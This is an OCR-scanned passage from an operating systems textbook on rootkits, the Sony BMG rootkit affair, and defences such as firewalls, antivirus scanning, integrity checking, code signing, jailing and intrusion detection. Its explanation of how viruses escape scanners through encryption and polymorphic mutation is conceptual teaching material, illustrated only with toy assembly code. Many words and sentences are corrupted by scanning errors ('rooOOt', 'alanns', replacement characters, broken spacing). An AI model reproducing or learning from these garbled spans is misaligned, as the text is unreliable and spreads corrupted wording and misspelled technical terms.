existence, even in the face of determined efforts by the owner of the infected ma
chine to locate and remove it. Usually, the rootkit contains some malware that is 
being hidden as welL Rootkits can be installed by any of the methods discussed 
so far, including viruses, worms, and spyware, as well as by other ways, one of 
which will be discussed later. 

Types of Rootkits 

Let us now discuss the five kinds of rootkits that are currently possible, from 

bottom to top. In all cases, the issue is: Where does the rootki! hide? 

1. Firmware rootkits. In theory at least, a rootkit could hide by re
flashing the BIOS with a copy of itself in there. Such a rooOOt would 
get control whenever the machine was booted and also whenever a 
BIOS function was called. If the rootkit encrypted itself after each 
use and decrypted itself before each use, it would be quite hard to 
detect. This type has not been observed in the wild yet. 

2. Hypervisor rootkits. An extremely sneaky kind of rootkit could run 
the entire operating system and all the applications in a virtual ma
chine under its control. The first proof-of-concept, blue pill (a refer
ence to a movie called The Matrix), was demonstrated by a Polish 
hacker named Joanna Rutkowska in 2006. This kind of rootkit usual
ly modifies the boot sequence so that when the machine is powered 
on it executes the hypervisor on the bare hardware, which then starts 
the operating system and its applications in a virtual machine. The 
strength of this method, like the previous one, is that nothing is hid
den in the operating system, libraries, or programs, so rooOOt detec
tors that look there will come up short. 

3. Kernel rootkits. The most common kind of rooOOt at present is one 
that infects the operating system and hides in it as a device driver or 
loadable kernel module. The rooOOt can easily replace a large, com
plex, and frequently changing driver with a new one that contains the 
old one plus the rooOOt. 

4. Library rootkits. Another place a rootkit can hide is in the system 
library, for example, in libe in Linux. This location gives the 
mal ware the opportunity to inspect the arguments and return values 
of system calls, modifying them as need be to keep itself hidden. 
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5. Application rootkits. Another place to hide a rootkit is inside a 
lar�e appli::ation program, especially one that creates many new files 
whIle runnmg (user profiles, image previews, etc.). These new files 
ar� good places to hide things, and no one thinks it strange that they 
eXISt. 

The five places rootkits can hide are illustrated in Fig. 9-30. 
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Figure 9�30. Five places a rootkit can hide. 
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Roo�ts. are hard to detect when the hardware, operating system, libraries, 
and �p�hcatlons c�n�ot be trusted. For example, an obvious way to look for a 
rootkit IS .to make hStl�gS of all the files on the disk. However, the system call that 
reads a dlrecto�, .the lIbrary procedure that calls this system call, and the program 
tha� �oes the hstmg are all potentially malicious and might censor the results, 
omlttlng any files relating to the rootldt. Nevertheless, the situation is not hope
less, as described below. 

Detecting a ro�tkit
. 
that 

.
boots. its own hypervisor and then runs the operating �ystem 

.
and all appl�catlOns In a VIrtual machine under its control is tricky, but not 

Imposslbl�. It. reqUIres carefully looking for minor discrepancies in performance 
and functIOnalIty between a virtual machine and a real one. Garfinkel et a1. (2007) 
have suggested several of them, as described below. Carpenter et aL (2007) also 
discuss this subject. 

One whole class of detection methods relies on the fact that hypervisor itself 
uses physical resources and the loss of these resources can be detected. For ex
a�ple, the hypervisor itself needs to use some TLB entries, competing with the 
virtual machme for these scarce resources. A detection program could put pres
sure on the TLB, observe the performance, and compare it to previously measured 
performance on the bare hardware. 
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Another class of detection methods relates to timing, especially of virtuali�ed 
I/O devices. Suppose that it takes 100 clock cycles to read. out some �CI devlc.e 
register on the real machine and this time is highly reproducl�le. In a .vIrtual enVI
ronment, the value of this register comes from memory, and Its read hme depends 
on whether it is in the CPU's level 1 cache, level 2 cache, or actual RAM. A 
detection program could easily force it to move back an.d .forth bet:ve�� these 
states and measure the variability in read times. Note that It 15 the vanablhty that 
matters, not the read time. . . . Another area that can be probed is the time it takes to execute pnvlleged m-
structions, especially those that require only a few clock cycles on the real hard
ware and hundreds or thousands of clock cycles when they must be emulated. For 
example, if reading out some protected CPU regist?r takes I nsec on �e real hard
ware there is no way a billion traps and emulations can be done m 1 sec . . Of 
cour�e, the hypervisor can cheat by reporting emulated time instead of re�l time 
on all system calls involving time. The detector can bypass the emulate� ttme by 
connecting to a remote machine or Website that provides an accurate �me base. 
Since the detector just needs to measure time intervals (e.g., how long It takes to 
execute a billion reads of a protected register), skew between the local clock and 
the remote clock does not matter. 

If no hypervisor has been slipped between the har�ware and the oper�ting sys
tem, then the rooOOt might be hiding inside the operatmg system. It IS dtfficult to 
detect it by booting the computer since the operating system cannot be trusted. For 
-example, the rootkit might install a large number of files, all of whose names 
begin with "$$$_" and when reading directories on behalf of user programs, 
never report the existence of such files. 

One way to detect rootkits under these circumstances is to boot the comp�ter 
from a trusted external medium such as the original CD-ROMIDVD or USB stick. 
Then the disk can be scanned by an arftirootkit program without fear that the root
kit itself will interfere with the scan. Alternatively, a cryptographic hash can be 
made of each file in the operating system and these compared to a list made when 
the system was installed and stored outside the system wher� l.

t could not be tam
pered with. Alternatively, if no such hashes were made ongmally, they can be 
computed from the installation CD-ROM or DVD now, or the files themselves 
just compared. . . RooOOts in libraries and application programs are harder to hIde, but If the o�
erating system has been loaded from an external medium and can be trusted, therr 
hashes can also be compared to hashes known to be good and stored on a CD
ROM. 

So far, the discussion has been about passive rootkits, which do not interfere 
with the detection software. There are also active rooOOts, which search out and 
destroy the rootkit detection software, or at least modify it to always announce: 
"NO ROOTKITS FOUND!" These require more complicated measures, but for
tunately no active rootkits have appeared in the wild yet. 
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There are two schools of thought about what to do after a rootkit has been 
discovered. One school says the system administrator should behave like a sur
geon treating a cancer: cut it out very carefully. The other says trying to remove 
the rootkit is too dangerous. There may be pieces still hidden away. In this view, 
the only solution is to revert to the last complete backup known to be clean. If no 
backup is available, a fresh install from the original CD-ROMIDVD is required. 

The Sony Rootkit 

In 2005, Sony BMG released a number of audio CDs containing a rootkit. It 
was discovered by Mark Russinovich (cofo"under of the Windows admin tools 
Website www.sysinternals.com). who was then working on developing a rootkit 
detector and was most surprised to find a rootkit on his own system. He wrote 
about it on his blog and soon the story was all over the Internet and the mass 
media. Scientific papers were written about it (Amab and Hutchison, 2006; 
Bishop and Frineke, 2006; Felten and Haldennan, 2006; Haldennan and Felten, 
2006; amI. Levine et al., 2006). It took years for the resulting furor to die down. 
Below we will give a quick description of what happened. 

When a user inserts a CD in the drive on a Windows computer, Windows 
looks for a file called autorun.inf, which contains a list of actions to take, usually 
starting some program on the CD (such as an installation wizard). Normally, 
audio CDs do not have these files since stand-alone CD players ignore them if 
present. Apparently some genius at Sony thought that he would cleverly stop mu
sic piracy by putting an autorun.inffile on some of its CDs, which when inserted 
into a computer immediately and silently installed a 12-MB rootkit. Then a 
license agreement was displayed, which did not mention anything about software 
being installed. While the license was being displayed, Sony's software checked 
to see if any of 200 known copy programs were running, and if so commanded the 
user to stop them. If the user agreed to the license and stopped all copy pro� 
grams, the music would play; otherwise it would not. Even in the event the user 
declined the license, the rootkit remained installed. 

The rootkit worked as follows. It inserted into the Windows kernel a number 
of files whose names began with $sys$. One of these was a filter that intercepted 
aU system calls to the CD-ROM drive and prohibited all programs except Sony's 
music player from reading the CD. This action made copying the CD to the hard 
disk (which is legal) impossible. Another filter intercepted all calls that read file, 
process, and registry listings and deleted all entries starting with $sys$ (even from 
programs completely unrelated to Sony and music) in order to -cloak the rootkit. 
This approach is fairly standard for newbie rootkit designers� 

Before Russinovich discovered the rootkit, it had been installed widely, not 
entirely surprising since it was on over 20 million CDs. Dan Kaminsky (2006) 
studied the extent and discovered that computers on over 500,000 networkS world
wide had been infected. 
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When the news broke, Sony's initial reaction was that it had every right to 
protect its intellectual property_ In an interview on National Public Radio, Tho
mas Hesse, the president of Sony BMG's global digital business, said: "Most peo
ple, I think, don't even know what a [ootkit is, so why should they care about it?" 
When this response itself provoked a firestorm, Sony backtracked and released a 
patch that removed the cloaking of $sys$ files but kept the rootkit in place. Under 
increasing pressure, Sony eventually released an uninstal1er on its Website, but 
to get it, users had to provide an e-mail address, and agree that Sony could send 
them promotional material in the future (what most people call spam). 

As the story continued to play out, it emerged that Sony's uninstaUer con
tained technical flaws that made the infected computer highly vulnerable to at
tacks over the Internet. It was also revealed that the rootkit contained code from 
open source projects in violation of their copyrights (which permitted free use of 
the software provided that the source code is released). 

In addition to an unparalleled public relations disaster, Sony also faced legal 
jeopardy. The state of Texas sued Sony for violating its antispyware law as well 
as for violating its deceptive trade practices law (because the rooOOt was installed 
even if the license was declined). Class-action suits were later filed in 39 states. 
In December 2006, these suits were settled when Sony agreed to pay $4.25 mil
lion, to stop including the rootkit on future CDs, and to give each victim the right 
to download three albums from a limited music catalog. On January 2007, Sony 
admitted that its software also secretly monitored users' listening habits and re
ported them back to Sony, in violation of U.S. law. In a settlement with the FfC, 
Sony agreed to pay people whose computers were damaged by its software com
pensation of $150. 

The Sony rootkit story has been provided for the benefit of any readers who 
might have been thinking that rooOOts are an academic curiosity with no real
world implications. An Internet search for "Sony rootkit" will tum up a wealth of 
additional information. 

9.8 DEFENSES 

With problems lurking everywhere, is there any hope of making systems 
secure? Actually, there is, and in the following sections we will look at some of 
the ways systems can be designed and implemented to increase their security. One 
of the most important concepts is defense in depth. Basically, the idea here is 
that you should have multiple layers of security so that if one of them is breached, 
there are still others to overcome. Think about a house with a high, spiky, locked 
iron fence around it, motion detectors in the yard, two industrial-strength locks on 
the front door, and a computerized burglar alarm system inside. While each tech
nique is valuable by itself, to rob the house the burglar would have to defeat all of 
them. Properly secured computer systems are like this house, with mUltiple layers 
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o� secu�ty. We wiII n?w look at some of the layers. The defenses are not really 
hIerarchIcal, but we Will start roughly with the more general outer ones and work 
Our way to more specific ones. 

9.S.1 Firewalls 

Th� abilit� to conn�ct any computer, anywhere, to any other computer, any
where, IS a lllixed bleSSIng. While there is a lot of valuable material on the Web 
bein? connected t? the Internet exposes a computer to two kinds of dangers: in� 
commg and outgo�ng. Incoming dangers include crackers trying to enter the com
puter as well as VIruses, spyware, and other malware. Outgoinv danvers include 
con�dential infonnation such as credit card numbers, password;, tax �eturns, and 
all kinds of corporate infonnation getting out. 

Consequently, mechanisms are needed to keep '<gOOd" bits in and "bad" bits 
out. On� approach .is to use a firewall, which is just a modern adaptation of that 
o
.
ld medIeval secunty standby: digging a deep moat around your castle. This de

SIgn f�rced everyone entering or leaving the castle to pass over a Single 
drawbndge, where they could be inspected by the IJO police. With networks the 
same trick is possible: a company can have many LANs connected in arbi�ary 
ways, but all traffic to or from the company is forced through an electronic 
drawbridge, the fIrewall. • 

. Firewalls Come in two basic varieties: hardware and software. Companies 
with LANs to protect usually opt for hardware firewalls; individuals at home fre
q�ently choose softwar: fi.rewalls. L:t us look at hardware firewalls first. A gen
en� har�ware firewall IS Illustrated In Fig. 9-31. Here the connection (cable or 
optical fIber) from the network provider is plugged into the firewall, which is COn
nected to the LAN. No packets can enter or exit the LAN without being approved 
by the firewalL. In practice, firewal1s are often combined with routers, network 
address tran�latlon boxes, intrusion detection systems, and other things, but OUr 
focus here WIn be on the firewa�l functionality. 

Network 
connection 

207.68.160.190:80 207.68.160.191 :25 207.68.150.192:21 

Local area network 

Figure 9·31. A simplified view of a hardware firewall protecting a LAN with three computers. 

Firewalls are configured with rules describing what is allowed in and what is 
allowed out. The owner of the firewall can change the rules, commonly via a Web 
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interface (most firewalls have a mini-Web server built in to allow this), In the 
simplest kind of firewall, the stateless firewall ,  the heade: of each packet passing 
through is inspected and a decision is made to pass or dIscard the

, 
packet ?as�d 

solely on the information in the header and the firewall's rules. The mformanon In 
the packet header includes the source and destination IP addresses, s.ource and 
destination ports, type of service and protocol. Other fields are avallable, but 
rarely occur in the rules. . . In the example of Fig. 9-31 we see three servers, each WIth a u�qlle IP ad
dress of the fonn 207.68.160.x, where x is 190, 191, and 192, respecuvely. These 
are the addresses to which packets must be sent to get to these servers. Incoming 
packets also contain a 16-bit port number, which specifies wh�ch pr�cess on the 
machine gets the packet (a process can listen on a port for l�corrung traffic�. 
Some ports have standard services associate� with them. In.partIcular, port 80 IS 
used for the Web, port 25 is used for e-mail, and port 21 IS used for FIP (file 
transfer) service, but most of the others are available for user-defined services. 
Under these conditions, the frrewall might be configured as follows: 

IP address Port Action 
207.68.160.190 80 Accept 
207.68.160.191 25 Accept 
207.68. 160.192 21 Accept 
* * Deny 

These rules allow packets to go to machine 207.68.160.190, but only if they are 
addressed to port 80; all other ports on this machine are disallowed and packets 
sent to them will be silently discarded by the firewall. Similarly, packets can go to 
the other two servers if addressed to ports 25 and 21, respectively. All other traffic 
is discarded. This ruleset makes it hard for an attacker to get any access to the 
LAN except for the three public services being offered. 

Despite the firewall, it is still possible to attack the LAN. For example, if the 
Web server is apache and the cracker has discovered a bug in apache that can be 
exploited, he might be able to send a very long URL to 207.68.160: 190 on port 80 
and force a buffer overflow, thus taking over one of the machmes mSlde the 
firewall, which could then be used to launch an attack on other machines on the 
LAN. 

Another potential attack is to write and publish a multiplayer game and get it 
widely accepted. The game software needs some port to connect to other players, 
so the game designer may select one, say, 9876, and tell the players to change 
their firewall settings to allow incoming and outgoing traffic on this port. People 
who have opened this port are now subject to attacks on it, which may be easy es
pecially if the game contains a Trojan horse that acc��ts cert�in �ornmands. from 
afar and just runs them. But even if the game is legItImate, It mIght contam ex
ploitable bugs. The more ports are open, the greater the chance of an attack 
succeeding. Every hole increases the odds of an attack getting through. 
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In addition t� stateless firewalls, there are also staterul firewalls, which keep 
track of connectIons and what state they are in. These firewalls are better at 
�efeating certain �inds of attacks, especially those relating to establishing connec
tIons. :-et o.ther kinds of firewalls implement an IDS (Intrusion Detection Sys� 
tern), m WhICh tI:e frrewaII inspects not only the packet headers, but also the pack
et contents, looking for suspicious material. 

Software firewalls, sometimes called personal firewalls, do the same thing as 
hardware firewalls, but in software. They are filters that attach to the network 
code inside the operating system kernel and filter packets the same way the hard
ware firewall does. 

9,8.2 Antivirus and Anti-Antivirus Techniques 

Firewal1s try to keep intruders out of the computer, but they can fail in various 
wa�s, as described above. In that case, the next line of defense comprises the 
antImalware programs, often caned antivirus programs, although many of them 
als� combat worms and spyware. Viruses try to hide and users try to find them, 
whIch leads to a cat-and-mouse game. In this respect, viruses are like rootkits, 
except that most virus writers emphasize rapid spread of the virus rather than 
playing hide-and-seek as rootkits do. Let us now look at some of the techniques 
used by antivirus software and also how Virgil the virus writer respond1 to them. 

Virus Scanners 

Clearly, the average garden-variety user is not going to find many viruses that 
do their best to hide, so a market has developed for antivirus software. Below we 
will discuss how this software works. Antivirus software companies have labora
tories in which dedicated scientists work long hours tracking down and under
stan�ing new viruses. The first step is to have the virus infect a program that does 
nothing, often called a goat file, to get a copy of the virus in its purest form. The 
next step is to make an exact listing of the virus' code and enter it into the data
base of known viruses. Companies compete on the size of their databases. Invent
ing new viruses just to pump up your database is not considered sporting. 

. On�e an antivirus program is installed on a customer's machine, the fIrst thing 
It does IS scan every executable file on the disk looking for any of the viruses in 
the database of known viruses. Most antivirus companies have a Website from 
which customers can download the descriptions of newly discovered viruses into 
their databases. If the user has 10,000 files and the database- has 10,000 viruses, 
some clever programming is needed to make it go fast, of course. 

Since minor variants of known viruses pop up all the time, a fuzzy search is 
needed, to ensure that a 3-byte change to a virus does not let it escape detection. 
However, fuzzy searches are not only slower than exact searches, but they may 
tum up false alanns (false positives), that is, warnings about legitimate files that 
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just happen to contain some code vaguely similar to a virus reported in Pakistan 7 
years ago. What is the user supposed to do with the message: 

WARNING! File xyz.exe may contain the !ahore-9x virus. Delete? 

The more viruses in the database and the broader the criteria for declaring a hit, 
the more false alanns there will be. If there are too many, the user will give up in 
disgust. But if the virus scanner insists on a very close. match, it may miss some 
modified viruses. Getting it right is a delicate heuristic balance. Ideally, the lab 
should try to identify some core code in the virus that is not likely to change and 
use this as the virus signature to scan for. 

Just because the disk was declared virus free last week does not mean that it 
still is, so the virus scanner has to be run frequently. Because scanning is slow, it 
is more efficient to check only those files that have been changed since the date of 
the last scan. The trouble is, a clever virus will reset the date of an infected file to 
its original date to avoid detection. The antivirus program's response to that is to 
check the date the enclosing directory was last changed. The virus' response to 
that is to reset the directory's date as welL This is the start of the catMand-mouse 
game alluded to above. 

Another way for the antivirus program to detect file infection is to record and 
store on the disk the lengths of all files. If a file has grown since the last check, it 
might be infected, as shown in Fig. 9-32(a-b). However, a clever virus can avoid 
detection by compressing the program and padding out the file to its original 
length. To make this scheme work, the virus must c<:mtain both compressioI). and 
decompression procedures, as shown in Fig. 9-32(c). Another way for the virus to 
try to escape detection is to make sure its representation on the disk does not look 
like its representation in the antivirus software's database. One way to achieve 
this goal is to encrypt itself with a different key for each file infected. Before 
making a new copy, the virus generates a random 32Mbit encryption key, for eXM 
ample by XORing the current time with the contents of, say, memory words 
72,008 and 319,992. It then XORs its code with this key, word by word, to pro
duce the encrypted virus stored in the infected file, as illustrated in Fig. 9-32(d). 
The key is stored in the file. For secrecy purposes, putting the key in the file is not 
ideal, but the goal here is to foil the virus scanner, not prevent the dedicated scien
tists at the antivirus lab from reverse engineering the code. Of course, to run, the 
virus has to first decrypt itself, so it needs a decrypting function in the file as welL 

This scheme is still not perfect because the compression, decompression, en
cryption, and decryption procedures are the same in all copies, so the antivirus 
program can just use them as the virus signature to scan for. Hiding the compres
sion, decompression, and encryption procedures is easy: they are just encrypted 
along with the rest of the virus, as shown in Fig. 9-32(e). The decryption code 
cannot be encrypted, however. It has to actually execute on the hardware to de
crypt the rest of the virus, so it must be present in plaintext. Antivirus programs 
know this, so they hunt for the decryption procedure. 
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Figure 9·32. (a) A program. (b) An infected program. (c) A compressed infect
ed progr�m. Cd) An encrypted virus. (e) A compressed virus with encrypted 
compresSIOn code. 

However, Virgil
.
enjoys having the last word, so he proceeds as folfows. Sup

pose that the decryption procedure needs to perfonn the calculation 

X =  (A + B +  C - 4) 

The straig�tforward. assembly code for this calculation for a generic two-address 
comput:r 1� shown III Fig. 9-33(a). The first address is the source; the second is 
t�e destmatlOn, so MOV A, R 1  moves the variable A to the register R1.  The code in �lg. �-33(b) �oes.the same thing, only less efficiently due to the NOP (no operaM 
tIon) mstruct.J.ons mterspersed with the real code. 

MOVA,R1 
ADD B,R1 
ADD C,R1 
SUB #4,R1 
MOV R1,X 

(a) 

MOv A,R1 
NOP 
ADD B,R1 
NOP 
ADD C,R1 
NOP 
SUB #4,R1 
NOP 
MOV R1,X 

(b) 

MOV A,R1 
ADD #O,R1 
ADD B,R1 
OR R1,R1 
ADD C,R1 
SHL #O,R1 
SUB #4,R1 
JMP .+1 
MOV R1,X 

(e) 

MOVA,R1 
OR R1,R1 
ADD B,R1 
MOVR1,RS 
ADD C,R1 
SHL R1,O 
SUB #4,R1 
ADD RS,RS 
MOV R1,X 
MOVRS,Y 

(d) 

Figure 9�33. Examples of a polymorphic virus. 

MOV A,R1 
TST R1 
ADDC,R1 
MOV R1,RS 
ADD B,R1 
CMP R2,RS 
SUB #4,R1 
JMP .+1 
MOV R1 ,X 
MOV R5,Y 

(e) 
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But we are not done yet It is also possible to disguise the decryption code. 
There are many ways to represent NOP. For example, adding 0 to a register, 
ORing it with itself, shifting it left 0 bits, and jumping to the next instruction all 
do nothing. Thus the program of Fig. 9-33(c) is functionally the same as the one 
of Fig. 9-33(a). When copying itself, the virus could use Fig. 9-33(c) instead of 
Fig. 9-33(a) and still work later when executed. A virus that mutates on each 
copy is called a polymorphic virus. 

Now suppose that R5 is not needed for anything during this piece of the code. 
Then Fig. 9-33(d) is also equivalent to Fig. 9-33(a). Finally, in many cases it is 
possible to swap instructions without changing what the program does, so we end 
up with Fig. 9-33(e) as another code fragment that is 10gicall� e�uivalen.t to 
Fig. 9-33(a). A piece of code that can mutate a sequence of machme tnstructlons 
without changing its functionality is called a mutation engine, and sophisticated 
viruses contain them to mutate the decryptor from copy to copy. Mutations can 
consist of inserting useless but harmless code, permuting instructions, swapping 
registers, and replacing an instruction with an equivalent one. The mutation en
gine itself can be hidden by encrypting it along with the body of the virus. 

Asking the poor antivirus software to understand that Fig. 9-33(a) through 
Fig. 9-33(e) are all functionally equivalent is aSking a lot, especially if the muta
tion engine has many tricks up its sleeve. The antivirus software can analyze the 
code to see what it does, and it can even try to simulate the operation of the code, 
but remember it may have thousands of viruses and thousands of files to analyze, 
so it does not have much time per test Or it will run horribly slowly. 

As an aside, the store into the variable Y was thrown in just to make it harder 
to detect the fact that the code related to RS is dead code, that is, does not do any
thing. If other code fragments read and write Y, the code will look perfectly legi
timate. A well-written mutation engine that generates good polymorphic code can 
give antivirus software writers nightmares. The only bright side is that such an 
engine is hard to write, so Virgil's friends all use his code, which means there are 
not so many different ones in cirCUlation-yet. 

So far we have talked about just trying to recognize viruses in infected ex
ecutable files. In addition, the antivirus scanner has to check the MBR, boot sec
tors, bad sector list, flash memory, CMOS memory, and more, but what if there is 
a memory-resident virus currently running? That will not be detected. Worse yet, 
suppose the running virus is monitoring all system calls. It can easily detect that 
the antivirus program is reading the boot sector (to check for viruses). To thwart 
the antivirus program, the virus does not make the system call. Instead it just re
turns the true boot sector from its hiding place in the bad block list. It also makes 
a mental note to reinfect aU the files when the virus scanner is finished. 

To prevent being spoofed by a virus, the antivirus program could make hard 
reads to the disk, bypassing the operating system. However, this requires having 
built-in device drivers for IDE, SCSI, and other common disks, making the 
antivirus program less portable and subject to failure on computers with unusual 
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disks. Furthermore, since bypassing the operating system to read the boot sector is 
possible, but bYp'assing it to read all the executable files is not, there is also SOme 
danger that the ViruS can produce fraudulent data about executable files. 

Integrity Checkers 

. � completely different approach to virus detection is integrity Checking. An 
antlvirus program that works this way first scans the hard disk for viruses. Once it 
is convinced that the disk is clean, it computes a checksum for each executable 
file. �he checksum algorithm could be something as Simple as treating all the 
words m the program text as 32- Or 64-bit integers and adding them up, but it also 
�an be a cryptographic hash that is nearly impossible to invert. It then writes the 
h�t of checksums for all the rele.vant files in a directory to a file, checksum, in that 
dIrectory. T�e . 

next time it runs, it recomputes all the checksums and sees if they 
match what IS m.the file checksum. An infected file will show up immediately. 

. The trouble IS that Virgil is not going to take this lying down. He can write a 
VIruS that removes the checksum file. Worse yet, he can write a virus that COm
putes the checksum of the infected file and replaces the old entry in the checksum 
file. To protect against this kind of behavior, the antivirus program can try to hide 
t�e checksum file, but that is not likely to work since Virgil can study the anti
VIruS program caref�lly before writing the virus. A better idea is to sign it digi
tally to make tampenng easy to detect. Ideally, the digital signature should invol
ve use of a smart card with an externally stored key that programs cannot get at. 

Behavioral Checkers 

A third strate�y. used by antivi�s software is behavioral checking. With this 
approach, the antIvlTUS program lIves in memory while the computer is runniner 
and catches all syste� cans itself. The idea is that it can then monitor all activit; 
and try to catch anythmg that looks suspicious. For example, no nonnal proerram 
s�ould attempt t? overwrite the boot sector, so an attempt to do so is almost'cer
tamly due to a ViruS. Likewise, changing the flash memory is highly suspicious. 

But there a�e also ca�es that are less clear Cut. For example, overwriting an 
e�ecutable file IS a peculIar thing to do-unless you are a compiler. If the anti
VIrus software �e�ects such a write and issues a warning, hopefully the user knows 
whether overwnung an executable makes sense in the context of the current work 
Similarly, Word overwriting a .doc file with a new document full of macros is no� 
necessarily the work of a virus. In Windows, programs can detach from their ex
ec�table file. �nd go memory resident using a special system call. Again, this 
mIght be legItImate, but a warning might still be useful. 

Viruses do not have to passively lie around waiting for an antivirus program 
to kill th�� like cattle being led off to slaughter. They can fight back. A particu
larly excltmg battle can occur if a memory-resident virus and a memory-resident 
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antivirus meet up on the same computer. Years ago there w.as a game calle� Core 

Wars in which two programmers faced off by each droppmg a p'rogram l�to an 

empty address space. The programs took turns probing memory, Wlt� the object of 

the game being to locate and wipe out your opponent before he wiped yo� Ollt. 

The virus�antivirus confrontation looks a little like that, only the battlefield IS the 

machine of some poor user who does not really want it to happen there. Worse 

yet, the virus has an advantage because its writer can fmd out a lot. 
abo�t the 

antivirus program by just buying a copy of it. Of co�rse, �nc� the vmts IS out 

there, the antivirus team can modify their program, forcmg VIrgIl to go buy a new 

copy. 

Virus Avoidance 

Every good story needs a moral. The moral of this one is 

Better safe than sorry. 

Avoiding viruses in the first place is a lot easier than tryi�g t� track t�e� �owo 
once they have infected a computer. Below are a few gUldelmes for mdividual 
users, but also some things that the industry as a whole can do to reduce the prob� 
lem considerably. . What can users do to avoid a virus infection? First, choose an operatmg sys-
tem that offers a hIgh degree of security, with a strong kemel-use� �ode bounpary 
and separate login passwords for each user and the system adrrumstrator .

. 
Un�er 

these conditions a virus that somehow sneaks in cannot infect the system bmanes. 
Second, iost

'
all only shrink-wrapped software bought from a reli�ble manufac

turer. Even this is no guarantee since there have been cases where dlsgru�tled em
ployees have slipped viruses onto a commercial software pr�du�t, but It �elps a 
lot. Downloading software from Websites and bulletin boar�s IS n�ky behavlOr. 

Third, buy a good antivirus software package and use It as dtrected. Be sure 
to get regular updates from the manufacturer's Website. 

Fourth, do not click on attachments to e-mail and tell people not to send the� 
to you. Email sent as plain ASCII text is always safe but attachments can start VI-
ruses when opened. . Fifth, make frequent backups of key files onto an external medium, 

.
such as 

floppy disk, CD-recordable, or tape. Keep several generations of each file on a 
series of backup media. That way, if you discover a virus, you �ay have a c�ar:ce 
to restore files as they were before they were infected. Restonng yesterday s m

fected file does not help, but restoring last week's version might. 
Finally, sixth, resist the temptation to download and run glitzy new free soft

ware from an unknown SOurce. Maybe there is a reason it is free-the maker 
wants your computer to join his zombie army. If you have virtual machine soft
ware, running unknown software inside a virtual machine is safe, though. 

1 
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The industry should also take the virus threat seriously and change some 
dangerous practices. First, make simple operating systems. The more bells and 
whistles there are, the more security holes there are. That is a fact of life. 

Second, forget active content. From a security point of view, it is a disaster. 
Viewing a document someone sends you should not require your running their 
program. JPEG files-, for example, do not contain programs, and thus cannot con
tain viruses. All documents should work like that. 

Third, there should be a way to selectively write protect specified disk cylin
ders to prevent viruses from infecting the programs on them. This protection could 
be implemented by having a bitmap inside the controller listing the write protect
ed cylinders. The map should only be alterable when the user has flipped a 
mechanical toggle switch on the computer's front paneL 

Fourth, flash memory is a nice idea, but it should only be modifiable when an 
external toggle switch has been flipped, something that will only happen when the 
user is consciously installing a BIOS update. Of course, none of this will be taken 
seriously until a really big virus hits. For example, one that hits the financial 
world and resets all bank accounts to O. Of course, by then it will be too late. 

9.8.3 Code Signing 

A completely different approach to keeping out malware (remember: defense 
in depth) is to run only unmodified software from reliable software vendors. One 
issue that comes up fairly quickly is how the user can know the software came 
from the vendor it is said to have come from and how the user can know it has not 
been modified since leaving the factory. This issue is especially important when 
downloading software from online stores of unknown reputation or when down
loading activeX controls from Websites. If the activeX control came from a 
wen-known software company, it is unlikely to contain a Trojan horse, for ex
ample, but how can the user be sure? 

One way that is in widespread use is the digital signature, as described in 
Sec. 9.2.4. If the user runs only programs, plugins, drivers, activeX controls, and 
other kinds of software that were written and signed by trusted sources, the 
chances of getting into trouble are much less. The consequence of doing this, 
however, is that the new free, nifty, splashy game from Snarky Software is proba
bly too good to be true and will not pass the signature test since you do not know 
who is behind it. 

Code signing is based on public-key cryptography. A software vendor gen
erates a (public key, private key) pair, making the fonner public and zealously 
guarding the latter. To sign a piece of software. the vendor first computes a hash 
function of the code to get a 12S-bit, 160-bit, or 256-bit number, depending on 
whether MD5, SHA-I, or SHA-256 is used. It then signs the hash value by 
encrypting it with its private key (actually, decrypting it using the notation of 
Fig. 9-3). This signature accompanies the software wherever it goes. 
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When the user gets the software, the hash function is applied to it and the re
sult saved. It then decrypts the accompanying signature using the vendor's public 
key and compares what the vendor claims the hash function is with what it just 
computed itself. If they agree, the code is accepted as genuine. Otherwise it is 
rejected as a forgery. The mathematics involved makes it exceedingly difficult for 
anyone to tamper with the software in such a way that its hash function will match 
the hash function obtained by decrypting the genuine signature. It is equally diffi
cult to generate a new false signature that matches without having the private key. 
The process of signing and verifying is illustrated in Fig. 9-34. 

Software vendor User 
Signature generation 

' 1  Program ! H '" hash(Program) I Program I 
Sf nature Signature", encrypt(H) SI nature 

Internet 

Figure 9�34. How code signing works. 

Signat ure verification 

Hi = h ash(Program) 
decrypt(Slgnature) H2 = 

Accept Program if H1 0= H2 

Web pages can contain code, such as activeX controls, but also code in vari
ous scripting languages. Often these are signed, in which case the browser auto
matically examines the signature. Of course, to verify it, the browser needs the 
software vendor's public key, which nonnally accompanies the code along with a 
certificate signed by some CA vouching for the authenticity of the public key. If 
the browser has the CA's public key already stored, it can verify the certificate on 
its own. If the certificate is signed by a CA unknown to the browser, it will pop 
up a dialog box asking whether to accept the certificate or not. 

9.8.4 Jailing 

An old Russian saying is: «Trust but Verify." Clearly, the old Russian clearly 
had software in mind. Even though a piece of software has been signed, a good 
attitude is to verify that it is behaving correctly anyway. A technique for doing 
this is called jailing and illustrated in Fig. 9-35. 

The newly acquired program is run as a process labeled "prisoner" in the fig
ure. The "jailer" is a trusted (system) process that monitors the behavior of the 
prisoner. When a jailed process makes a system call, instead of the system call 
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Figure 9·35. The operation of a jail. 
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being executed, control is transferred to the jailer (via a kernel trap) and the sys
tem call number and parameters passed to it. The jailer then makes a decision 
about whether the system call should be allowed. If the jailed process tries to 
open a network connection to a .remote ?ost unknown to the jailer, for example, !h� call c�n be refused and the p�soner killed. If the system call is acceptable, the 
Jrul�r so mfonns the kernel, which then carries it out. In this way, erroneous be
havIOr can be caught before it causes trouble. 

Vario�s impleme�ta�ons of jailing exist. One that works On almost any UNIX 
system, WlthOUt modifymg the kernel, is described by Van ' t  Noordertde et al 
(20�7�. In a. nutshell, the scheme uses the normal UNIX debugging facilities, with �e JaIler bemg the debugger and the prisoner being the debuggee. Under these 
CIrcumstances, . the debugger can. ins�ct the kernel to encapsulate the debuggee 
and pass all of Its system calls to It for lllspection. 

9.S.S Model-Based Intrusion Detection 

Ye
.
t another approach to defending a machine is to install an IDS (Intrusion 

�e�cbon . System). There are two basic kinds of lOSes, one focused on inspect
mg mcommg. network �ackets and one focused on looking for anomalies on the 
CPU. We bnefly mentioned the network IDS in the context of firewalls earlier 
now we will sa� a few words about a host-based IDS. Space limitations preven� 
us from surveymg the many kinds of host�based IDSes. Instead, we will briefly 
sketch one type to give an idea of how they work. This one is called static 
model-ba�ed int�u.s�on dete�tion (Wagner and Dean, 2001). It can be imple
mented �smg the jaIlmg techmque discussed above, among other ways. 

. In FIg. 9-36(a) w� see a small program that opens a file caU�d data and reads 
